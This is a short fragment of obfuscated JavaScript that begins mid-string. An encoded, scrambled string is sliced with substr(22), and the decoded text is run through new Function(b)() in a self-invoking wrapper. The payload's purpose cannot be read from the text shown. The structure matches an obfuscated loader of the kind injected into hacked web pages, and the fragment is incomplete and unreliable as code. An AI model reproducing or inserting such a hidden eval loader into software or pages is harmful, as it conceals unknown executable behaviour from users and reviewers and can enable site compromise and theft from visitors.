Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();